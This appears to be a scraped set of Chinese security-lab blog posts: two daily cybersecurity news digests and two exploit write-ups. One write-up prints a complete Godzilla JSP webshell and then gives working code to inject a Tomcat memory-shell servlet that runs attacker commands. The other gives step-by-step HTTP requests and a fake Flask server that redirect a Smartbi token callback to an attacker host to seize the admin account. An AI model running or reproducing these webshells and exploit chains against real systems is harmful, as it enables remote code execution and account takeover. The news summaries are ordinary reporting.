网络安全日报 2023年09月05日
1、研究人员披露RedEyes组织利用恶意LNK传递后门 https://asec.ahnlab.com/ko/56526/ RedEyes 组织,也称为 APT37、ScarCruft ,该组织使用的恶意软件以前以 CHM 格式传播,现在以 LNK 格式传播。恶意代码通过 mshta 进程执行特定 url 中存在的附加脚本,从攻击者的服务器接收命令,并执行附加的恶意操作。经研究人员确认,已确认的 LNK 文件是由攻击者将包含恶意代码的压缩文件上传到正常站点来分发的。恶意 LNK 文件以文件名 REPORT.ZIP 上传。该文件在 LNK 内包含正常的 Excel 文档数据和恶意脚本代码。近期大量利用 CHM、LNK 的恶意代码正在传播,用户需格外 2、UAC-0057组织利用WinRAR软件漏洞进行网络攻击 https://cert.gov.ua/article/5661411 研究人员检测到 UAC-0057 组织利用 CVE-2023-38831、PicassoLoader JavaScript 变体、Rabbit 算法和 Cobalt Strike Beacon 的一次网络攻击。研究人员发现包含CVE-2023-38831漏洞利用的文件 Zbirnyk_tez_НУОУ_23.rar ,成功利用该文件将导致执行BAT文件 16872_16_2023_03049.pdf .cmd ,这将确保启动 LNK 文件 16872_16_2023_03049.lnk 的一部分,该文件使用 mshta. 3、研究人员披露Emotet银行木马再次出现 https://www.trellix.com/en-us/about/newsroom/stories/research/icymi-emotet-reappeared-early-this-year-unfortunately.html Emotet 恶意软件,也称为 Geodo 和 Heodo,是一种著名的银行木马,但也可用作其他恶意软件的下载程序或植入程序。该恶意软件于 2014 年首次出现,2021 年 1 月,Emotet 基础设施被拆除,但于当年 11 月恢复,并在 2022 年和 2023 年初增加其运营。Emotet 仍然是一种危险且有弹性的恶意软件,因为 Emotet 攻 4、AlphV勒索软件组织称针对乔治亚县进行攻击 https://therecord.media/forsyth-county-georgia-ransomware-alphv-post AlphV勒索软件组织(也称为 BlackCat)声称对佐治亚州一个大县发动了攻击,该地距亚特兰大约一小时车程。福赛斯县官员承认六月发生过袭击事件,但没有提供有关所发生事件的细节。周二,AlphV 团伙声称对此次袭击负责,并将该县添加到其泄露站点,并威胁要公开 350GB 据称被盗的数据。该县于 6 月份发出了违规通知信,警告该县超过 250000 名居民,文件在未遂攻击期间从县服务器中被删除。完成审查后,他们发现社会安全号码和驾驶执照号码被盗。调查人员搜 5、X 将从其高级用户那里收集生物识别数据用于安全和身份识别 https://securityaffairs.com/150350/digital-id/x-will-collect-biometric-data.html 社交媒体平台 X(以前称为 Twitter)更新了其隐私政策,通知其高级用户该公司将收集他们的生物识别数据以遏制欺诈和防止冒充。彭博社首先报道了 这一消息,并确认这一变化只会影响高级用户。 6、MinIO 存储系统漏洞被利用在受影响的服务器上执行任意代码 https://securityaffairs.com/150308/breaking-news/minio-storage-system-exploit.html Security Joes 研究人员观察到,一个未知的威胁参与者使用公开可用的 MinIO 对象存储系统漏洞利用链,在易受攻击的服务器上实现任意代码执行。 7、Chrome 扩展程序可以从网站窃取明文密码 https://www.bleepingcomputer.com/news/security/chrome-extensions-can-steal-plaintext-passwords-from-websites 威斯康星大学麦迪逊分校的一组研究人员已将一个概念验证扩展上传到 Chrome 网上应用店,该扩展可以从网站的源代码中窃取纯文本密码。此外,研究人员发现,许多拥有数百万访问者的网站(包括一些 Google 和 Cloudflare 门户)在其网页的 HTML 源代码中以明文形式存储密码,允许扩展程序检索它们。 8、Fitbit可能因涉嫌违反GDPR而面临11亿欧元的罚款 https://cybernews.com/news/fitbit-violates-gdpr/ 针对谷歌旗下的健康和健身公司Fitbit提出了三起投诉,该公司强迫新用户同意将高度个人数据传输到欧盟以外。 9、Clop声称通过M&T银行网络攻击导致宾夕法尼亚州数据泄露 https://thecyberexpress.com/clop-claims-the-pennsylvania-data-breach/ 在通过M&T银行黑客攻击获得马萨诸塞州居民的信息后,Clop声称宾夕法尼亚州数据泄露。 10、英国国防部数千份绝密文件被俄罗斯黑客泄露 https://www.secrss.com/articles/58460 据镜报当地时间9月2日21:21分更新的报道,英国军事和情报网站的绝密安全信息已被与俄罗斯有关的黑客在网上泄露。攻击者发布了数千页的数据,这些数据可以帮助犯罪分子进入HMNB克莱德核潜艇基地、波顿当化学武器实验室和GCHQ监听站。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
借助AI分析哥斯拉木马原理与Tomcat回显链路挖掘
前言 本次分析使用了ChatGPT进行辅助分析,大大提升了工作效率,很快就分析出木马的工作流程和构造出利用方式。 分析 首先对该木马进行格式化,以增强代码的可读性。得到如下代码 <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">    <jsp:declaration>        String xc = "3c6e0b8a9c15224a";        String pass = "pass";        String md5 = md5(pass + xc);        class X extends ClassLoader       {            public X(ClassLoader z)           {                super(z);           }            public Class Q(byte[] cb)           {                return super.defineClass(cb, 0, cb.length);           }       }        /*        * 作用:AES解密        * m:true加密,False解密        * */        public byte[] x(byte[] s, boolean m)       {            try           {                javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");                c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));                return c.doFinal(s);           }            catch(Exception e)           {                return null;           }       }        /*        * 作用:md5加密        * */        public static String md5(String s)       {            String ret = null;            try           {                java.security.MessageDigest m;                m = java.security.MessageDigest.getInstance("MD5");                m.update(s.getBytes(), 0, s.length());                ret = new                        java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();           }            catch(Exception e)           {}            return ret;       }        /*        * 作用:base64加密        * */        public static String base64Encode(byte[] bs) throws Exception       {            Class base64;            String value = null;            try           {                base64 = Class.forName("java.util.Base64");                Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);                value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]                       {                                byte[].class                       }).invoke(Encoder, new Object[]                       {                                bs                       });           }            catch(Exception e)           {                try               {                    base64 = Class.forName("sun.misc.BASE64Encoder");                    Object Encoder = base64.newInstance();                    value = (String) Encoder.getClass().getMethod("encode", new Class[]                           {                                    byte[].class                           }).invoke(Encoder, new Object[]                           {                                    bs                           });               }                catch(Exception e2)               {}           }            return value;       }        /*        * base64解密        * */        public static byte[]base64Decode(String bs) throws Exception       {            Class base64;            byte[] value = null;            try           {                base64 = Class.forName("java.util.Base64");                Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);                value = (byte[]) decoder.getClass().getMethod("decode", new Class[]                       {                                String.class                       }).invoke(decoder, new Object[]                       {                                bs                       });           }            catch(Exception e)           {                try               {                    base64 = Class.forName("sun.misc.BASE64Decoder");                    Object decoder = base64.newInstance();                    value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]                           {                                    String.class                           }).invoke(decoder, new Object[]                           {                                    bs                           });               }                catch(Exception e2)               {}           }            return value;       }    </jsp:declaration>    <jsp:scriptlet>        try       {            byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密            data = x(data, false);//AES解密            if(session.getAttribute("payload") == null)           {                session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载           }            else           {                request.setAttribute("parameters", new String(data));                Object f = ((Class) session.getAttribute("payload")).newInstance();                f.equals(pageContext);                response.getWriter().write(md5.substring(0, 16));                response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));                response.getWriter().write(md5.substring(16));           }       }        catch(Exception e){            response.getWriter().write(e.getMessage());       }    </jsp:scriptlet> </jsp:root> 前期可以交付ChatGPT初步分析,理清各个函数的基本作用: 得知各个函数的基本功能之后我们主要看<jsp:scriptlet>中的内容: try       {            byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密            data = x(data, false);//AES解密            if(session.getAttribute("payload") == null)           {                session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载           }            else           {                request.setAttribute("parameters", new String(data));                Object f = ((Class) session.getAttribute("payload")).newInstance();                f.equals(pageContext);                response.getWriter().write(md5.substring(0, 16));                response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));                response.getWriter().write(md5.substring(16));           }       }        catch(Exception e){            response.getWriter().write(e.getMessage());       } 可以看到首先会获取pass参数中的内容,进行base64解密获得一个字节数组,传入给x(),该函数第二个参数为true时候是进行加密,而第二个参数是false时候是解密.因此在base64解密后接着是AES解密,其中秘钥在<jsp:declaration>已经进行定义为xc变量它的值为3c6e0b8a9c15224a。在解密后会判断session.getAttribute("payload")是否为null,若不是null则将session中的payload变量设置为X类加载字节码后的类,在二次访问后对该类进行实例化。其基本流程如下: EXP构建 按照上述流程,我们可以编译一个class文件读取后进行AES加密->Base64加密得到EXP,恶意代码的构造,可以在静态代码段中进行编写,因为在类加载时候会自动调用静态代码段。 exp.java package exp; import java.io.IOException; public class exp {    static {        try {            Runtime.getRuntime().exec("touch /tmp/gg.txt");       } catch (IOException e) {            e.printStackTrace();       }   } } 编译为class javac exp.java POC,我们可以利用木马中的x()、base64Encode当做EXP构成部分即可 package Fvck; import java.io.*; class Fvck{    public static byte[] readFileToByteArray(String filePath) {        File file = new File(filePath);        byte[] fileBytes = new byte[(int) file.length()];        try (FileInputStream fis = new FileInputStream(file)) {            fis.read(fileBytes);       } catch (IOException e) {            e.printStackTrace();            return null;       }        return fileBytes;   }    public static byte[] AesEncode(byte[] s, boolean m)   {        String xc = "3c6e0b8a9c15224a";        try       {            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));            return c.doFinal(s);       }        catch(Exception e)       {            return null;       }   }    public static String base64Encode(byte[] bs) throws Exception   {        Class base64;        String value = null;        try       {            base64 = Class.forName("java.util.Base64");            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]                   {                            byte[].class                   }).invoke(Encoder, new Object[]                   {                            bs                   });       }        catch(Exception e)       {            try           {                base64 = Class.forName("sun.misc.BASE64Encoder");                Object Encoder = base64.newInstance();                value = (String) Encoder.getClass().getMethod("encode", new Class[]                       {                                byte[].class                       }).invoke(Encoder, new Object[]                       {                                bs                       });           }            catch(Exception e2)           {}       }        return value;   }    public static void main(String[] args) throws Exception {        String result = base64Encode(AesEncode(readFileToByteArray("/Users/gqleung/Desktop/exp.class"),true));        System.out.println(result);   } } 内存马注入 寻找Request Java Object Searcher 基本使用方法 IDEA->File->Project Structure->SDKs->JDK home path,找到ClassPath地址 将java-object-searcher-0.1.0-jar-with-dependencies.jar放到该地址下的/jre/lib/ext/中例如: /Library/Java/JavaVirtualMachines/jdk1.8.0_251.jdk/Contents/Home/jre/lib/ext/java-object-searcher-0.1.0-jar-with-dependencies.jar 回到IDEA->File->Project Structure->SDKs,将java-object-searcher-0.1.0-jar-with-dependencies.jar添加到依赖。 在Tomcat上随便找个地方断点,后打开Evaluate 代码中设置日志输出文件夹,点击Evaluate //设置搜索类型包含Request关键字的对象 List<Keyword> keys = new ArrayList<>(); keys.add(new Keyword.Builder().setField_type("Request").build()); //定义黑名单 List<Blacklist> blacklists = new ArrayList<>(); blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build()); //新建一个广度优先搜索Thread.currentThread()的搜索器 SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys); // 设置黑名单 searcher.setBlacklists(blacklists); //打开调试模式,会生成log日志 searcher.setIs_debug(true); //挖掘深度为20 searcher.setMax_search_depth(20); //设置报告保存位置 searcher.setReport_save_path("/Users/gqleung/Desktop"); searcher.searchObject(); 在运行结束后会输出日志到保存的文件夹: 在其中找一条链子 TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [17] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} ---> handler 创建一个线程根据上面链子寻找 代码编写 与上面一致,我们在index.jsp中随便找个地方下断点,Evaluate中进行查找。根据链子我们第一步是获取group,我们通过当前线程去获取该对象。 获取group Thread thread = Thread.currentThread();//获取线程对象Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");//获取group属性groupField.setAccessible(true);ThreadGroup group = (ThreadGroup)groupField.get(thread);//读取group属性的值 获取threads 获取threads方法与获取group基本一致 /*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); 我们链子下一个对象是这个数组的第18个元素,也就是下标为17的元素,直接通过下标获取即可,注意一下数据类型。 /*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); Thread t17 = threads[17]; 获取target 在链子中target是在org.apache.tomcat.util.net.NioEndpoint$Poller一个内部类中,我们直接使用这个包权限不够获取,因此可以使用上一个对象直接getClass()去获取,同时该数据类型权限也不够,因此需要用Object去代替. /*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); Thread t17 = threads[17]; /*获取target*/ Field targetField = t17.getClass().getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(t17); 获取this$0 获取方法以及原因同上 /*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); Thread t17 = threads[17]; /*获取target*/ Field targetField = t17.getClass().getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(t17); /*获取this$0*/ Field this$0Field = target.getClass().getDeclaredField("this$0"); this$0Field.setAccessible(true); Object this$0 = this$0Field.get(target); 获取handler 这里我们直接同上方法会报错,我们用Class.forName去指定包来获取看看 我们却发现还是报错了,报错提示并不存在handler这个字段 我们直接从依赖中看,AbstractProtocol确实不存在handler,但是存在handler数据类型,并且这个数据类型是来自org.apache.tomcat.util.net.AbstractEndpoint.Handler 我们直接尝试从这个包获取handler,发现获取成功 /*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); Thread t17 = threads[17]; /*获取target*/ Field targetField = t17.getClass().getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(t17); /*获取this$0*/ Field this$0Field = target.getClass().getDeclaredField("this$0"); this$0Field.setAccessible(true); Object this$0 = this$0Field.get(target); /*获取handler*/ Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler"); handlerField.setAccessible(true); Object handler = handlerField.get(this$0); 获取global 在获取到handler之后直接通过getClass获取即可 /*获取group*/Thread thread = Thread.currentThread();Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");groupField.setAccessible(true);ThreadGroup group = (ThreadGroup)groupField.get(thread);/*获取threads*/Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclared 回显链最终代码 /*获取group*/Thread thread = Thread.currentThread();Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");groupField.setAccessible(true);ThreadGroup group = (ThreadGroup)groupField.get(thread);/*获取threads*/Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclared 结合内存马 import org.apache.catalina.Wrapper; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.coyote.RequestGroupInfo; import javax.servlet.ServletContext; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.*; import java.lang.reflect.Field; import java.util.ArrayList; public class exp extends HttpServlet {    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {        response.setContentType("text/html");        String cmd = request.getParameter("cmd");        PrintWriter out = response.getWriter();        try {            Process ps = Runtime.getRuntime().exec(cmd);            BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));            StringBuffer sb = new StringBuffer();            String line;            while ((line = br.readLine()) != null) {                sb.append(line).append("\n");           }            String result = sb.toString();            out.print(result);       } catch (Exception e) {            e.printStackTrace();       }   }    static {        try {            Thread thread = Thread.currentThread();            Field group = Class.forName("java.lang.Thread").getDeclaredField("group");            group.setAccessible(true);            ThreadGroup threadGroup = (ThreadGroup) group.get(thread);            Field threads = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");            threads.setAccessible(true);            Thread[] thread1 = (Thread[]) threads.get(threadGroup);            Thread t17 = thread1[17];            Field targetField = Class.forName("java.lang.Thread").getDeclaredField("target");            targetField.setAccessible(true);            Object target = targetField.get(t17);            Field this$0Field = target.getClass().getDeclaredField("this$0");            this$0Field.setAccessible(true);            Object this$0 = this$0Field.get(target);            Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");            handlerField.setAccessible(true);            Object handler = handlerField.get(this$0);            Field globalField = handler.getClass().getDeclaredField("global");            globalField.setAccessible(true);            RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);            Field processorsField = global.getClass().getDeclaredField("processors");            processorsField.setAccessible(true);            ArrayList processors = (ArrayList) processorsField.get(global);            Object r0 = processors.get(0);            Field reqField = r0.getClass().getDeclaredField("req");            reqField.setAccessible(true);            org.apache.coyote.Request req = (org.apache.coyote.Request) reqField.get(r0);            org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);            ServletContext servletContext = request.getServletContext();            Field applicationContextField = servletContext.getClass().getDeclaredField("context");//获取servletContext中的context属性            applicationContextField.setAccessible(true);//设置该属性可访问性为True            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);//通过反射获取applicationContextField中context的值            Field standarContextField = applicationContext.getClass().getDeclaredField("context");//获取context属性值            standarContextField.setAccessible(true);//设置该属性可访问性为True            StandardContext context = (StandardContext) standarContextField.get(applicationContext);//通过反射获取context的值也就是StandardContext //注册Servlet            Wrapper wrapper  = context.createWrapper();//创建一个Wrapper            wrapper.setName("MemShellServlet");//设置Servlet名字            wrapper.setServletClass(exp.class.getName());            wrapper.setServlet(new exp());//实例化Servlet并设置对象为该Servlet            context.addChild(wrapper);//添加进Context            context.addServletMappingDecoded("/memoryshell","MemShellServlet");//注册Mapping       } catch (Exception e) {       }   } } 使用哥斯拉木马注入Tomcat Servlet内存马 在tomcat中运行上述代码可以在网站WEB-INF/classes/exp.class生成class,我们根据前面构造的EXP生成的base64,(注意需要url编码) 需要访问两次才能触发 成功注入内存马
网络安全日报 2023年09月04日
1、Anonymous Sudan组织针对X(Twitter)应用程序进行网络攻击 https://www.bbc.com/news/technology-66668053 周二上午,Anonymous Sudan 的黑客组织攻击了 X(以前称为 Twitter),影响到了十多个国家,试图向埃隆·马斯克施压,迫使其在这些国家推出星链服务。X 宕机了两个多小时,数千用户受到影响。黑客在 Telegram 上发帖称:“让我们的信息传达给埃隆·马斯克:‘在苏丹开放星链’。” 研究人员在聊天应用程序 Telegram 上与该小组进行了数周的私人对话,并与黑客谈论了他们的方法和动机。 2、研究人员披露Spring-Kafka反序列化零日漏洞 https://www.contrastsecurity.com/security-influencers/contrast-assess-uncovers-spring-kafka-deserialization-zero-day 8 月初,安全厂商的用户报告了他们最初认为是误报的情况: Spring-Kafka中存在反序列化漏洞。 Spring 由 VMware 和 Pivotal Software 开发,是一个用于构建企业 Java 应用程序的开源框架,而 Spring for Apache Kafka (Spring-Kafka) 项目将 Spring 的核心概念应用于基于 Kafk 3、开源工具SapphireStealer可用于窃取凭证和数据 https://blog.talosintelligence.com/sapphirestealer-goes-open-source/ SapphireStealer 是一种开源信息窃取程序,自 2022 年 12 月首次公开发布以来,在公共恶意软件存储库中出现的频率不断增加。SapphireStealer 等信息窃取恶意软件可用于获取敏感信息,包括公司凭证,这些信息通常会转售给其他攻击者,这些攻击者利用该访问权限进行其他攻击,包括与间谍活动或勒索软件相关的操作。SapphireStealer 似乎是作为多阶段感染过程的一部分进行攻击的,攻击者利用 FUD-Loader 等开源恶意软件下载 4、研究人员披露Andariel组织攻击活动 https://asec.ahnlab.com/en/56405/ Andariel 威胁组织通常针对韩国企业和组织,隶属于 Lazarus 威胁组织或其子公司之一。自2008年以来,针对韩国目标的攻击已被确定。主要目标行业是国防、政治组织、造船、能源和通信等与国家安全相关的行业。韩国的其他各种公司和机构,包括大学、物流和信息通信技术公司也成为攻击目标。研究人员发现存在大量用 Go 语言开发的恶意软件样本。在使用 Innorix Agent 的攻击案例中,使用了用 Go 开发的 Reverse Shell。随后 Black RAT 被用于针对韩国公司的攻击。除了Go版本之外,DurianBe 5、LockBit勒索软件组织针对蒙特利尔电力委员会进行攻击 https://therecord.media/montreal-electricity-organization-lockbit-victim 周三,LockBit勒索软件组织声称对蒙特利尔电力服务委员会 (CSEM) 进行了攻击,该委员会是一个拥有 100 年历史的市政组织,负责管理蒙特利尔市的电力基础设施。该市政组织周二证实了这一事件,并在一份声明中写道,该市政组织于 8 月 3 日遭到勒索软件攻击,但拒绝支付赎金。它联系了魁北克省的国家当局和执法部门,同时尽一切努力恢复其系统。该公司表示,其 IT 基础设施已经重建。参与此案的犯罪组织今天公开了一些被盗数据。CSEM 谴责这种非法行为 6、研究人员披露攻击者利用Adobe ColdFusion漏洞进行攻击活动 https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities 今年 7 月,Adobe 公司发布了一系列安全更新: APSB23-40 、 APSB23-41 和 APSB23-47 ,以回应其 ColdFusion 解决方案中针对预身份验证远程代码执行(RCE)漏洞的利用报告。研究人员对这些漏洞的深入分析,其中包括 Adobe ColdFusion 2021 内 WDDX 反序列化过程中的一个重大漏洞。然而,安全更新后,遥测数据继续检测到大量利用 7、WordPress迁移插件漏洞可能导致数据泄露 https://patchstack.com/articles/pre-auth-access-token-manipulation-in-all-in-one-wp-migration-extensions/ All-in-One WP Migration 是一款流行的 WordPress 网站数据迁移插件,拥有 500 万个活跃安装量,它受到未经身份验证的访问令牌操纵的影响,可能允许攻击者访问敏感的网站信息。All-in-One WP Migration 是一款用户友好的 WordPress 网站迁移工具,适合非技术和缺乏经验的用户,允许将数据库、媒体、插件和主题无缝导出到单个存档中,以 8、研究人员开发Key Group勒索软件解密器以恢复数据 https://blog.eclecticiq.com/decrypting-key-group-ransomware-emerging-financially-motivated-cyber-crime-gang Key Group 是一家讲俄语的威胁组织,于 2023 年初突然采取行动,攻击各种组织,从受感染的系统窃取数据,然后使用私人 Telegram 渠道协商赎金支付。俄罗斯威胁情报公司 BI.ZONE 此前曾报道称,Key Group 的勒索软件基于 Chaos 4.0 构建器,而研究人员则发现该组织在俄语暗网市场上销售窃取的数据和 SIM 卡,并共享人肉搜索数据和远程访问到网络摄 9、Classiscam诈骗即服务业务非法获利6450万美元 https://www.group-ib.com/blog/classiscam-2023/ 自 2019 年推出以来,Classiscam 诈骗即服务计划已为犯罪分子获取了 6450 万美元的非法收入。Classiscam 活动最初始于分类网站,诈骗者在这些网站上放置虚假广告,并利用社会工程技术说服用户通过将钱转入银行卡来购买商品。从那时起,Classiscam 活动已变得高度自动化,并且可以在许多其他服务上运行,例如在线市场和拼车网站。大多数受害者来自欧洲(62.2%),其次是中东和非洲(18.2%)以及亚太地区(13%)。德国、波兰、西班牙、意大利和罗马尼亚在 Classiscam 聊 10、Lazarus组织使用VMConnect恶意软件进行供应链攻击 https://www.reversinglabs.com/blog/vmconnect-supply-chain-campaign-continues 8 月初,研究人员发现了一个恶意供应链活动,将其称为“VMConnect”。该活动包括发布到 Python 包索引 (PyPI) 开源存储库的两打恶意 Python 包。这些软件包模仿了流行的开源Python工具,包括vConnector ,这是一个用于pyVmomi VMware vSphere绑定的包装模块;eth-tester,用于测试基于以太坊的应用程序的工具集合;和数据库,一种为一系列数据库提供异步支持的工具。 研究人员继续监控 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
smartbi token回调获取登录凭证漏洞(二)
2023年8月8日Smartbi官方又修复了一处权限绕过漏洞。该漏洞是上一个特定场景下设置Token回调地址漏洞的绕过,未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。 0x01 分析过程 阅读相关补丁,可知此次漏洞与/smartbix/api/monitor/setAddress有关 是上一个漏洞的绕过,是发现了/smartbix/api/monitor/setAddress接口可以未授权设置SERVICE_ADDRESS、ENGINE_ADDRESS,只不过多了一步DES解密的过程(这个上次看的时候就发现了,但是由于将c_address、和u_address看成同一个了以为不能利用,只能说很多师傅都在看smartbi,只要一有新的洞,绕过很快就出来了) 查看CommonUtil.desDecode方法,其实也只是进行DES解密,密钥为isPassword 故只需要按照该算法进行加密恶意参数就可以设置SERVICE_ADDRESS、ENGINE_ADDRESS为伪造服务器地址,用于接收token 0x02 分析结果 第一步,获取之前的EngineAddress 首先通过/smartbi/smartbix/api/monitor/engineInfo/接口获取之前的engineAddress、serviceAddress这是因为要进行修改设置,需要提供之前的地址 POST /smartbi/smartbix/api/monitor/engineInfo/ HTTP/1.1 Host: 127.0.0.1:18080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Length: 4 第二步,设置EngineAddress为攻击者机器上的伪造http服务地址 通过/smartbi/smartbix/api/monitor/setAddress/接口设置engineAddress为fake server地址该接口的参数需要进行DES加密,参数明文为 { "type": "experiment", "c_address": "http://10X.0.0.1:8010", "u_address": "http://10x.0.0.55:8000" } c_address填写上述第一步获取得到的engineAddress,加密得到密文, u_address设置为新的engineAddress,可以理解为用于接收token的fake server地址,此处设置为http://10x.0.0.55:8000,这个是一个用flask搭建的fake server,上面只注册了/api/v1/configs/engine/smartbitoken路由 from flask import Flask,jsonify,request app = Flask(__name__) @app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"]) def hello():    print(request.json)    return jsonify(hi="jello") if __name__ == "__main__":    app.run(host="0.0.0.0",port=8000) POST /smartbi/smartbix/api/monitor/setAddress/ HTTP/1.1 Host: 127.0.0.1:18080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Length: 208 312E8684378EBDFF7E798B0BCCC45588EF682890F6F1701AF9D9416B4E357E80A1E8622D15B57E607DBBA3017ECED7C2CA66C54FD4D13B5C1F284652B5D82487F9D9416B4E357E80A1E8622D15B57E60A18C8967740045322142EE017FD0F4E9559184E27B9F8372 从响应来看返回true,即修改成功 第三步,触发smartbi向刚刚设置的EngineAddress外发token POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1 Host: 127.0.0.1:18080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Length: 10 experiment 发送相关请求后,即可在我们的fake server上面看到了携带token的请求 第四步,使用上面获取的token进行登录 POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1 Host: 127.0.0.1:18080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Length: 47 admin_xxxxxxxxxxxxxxxxx84f50082 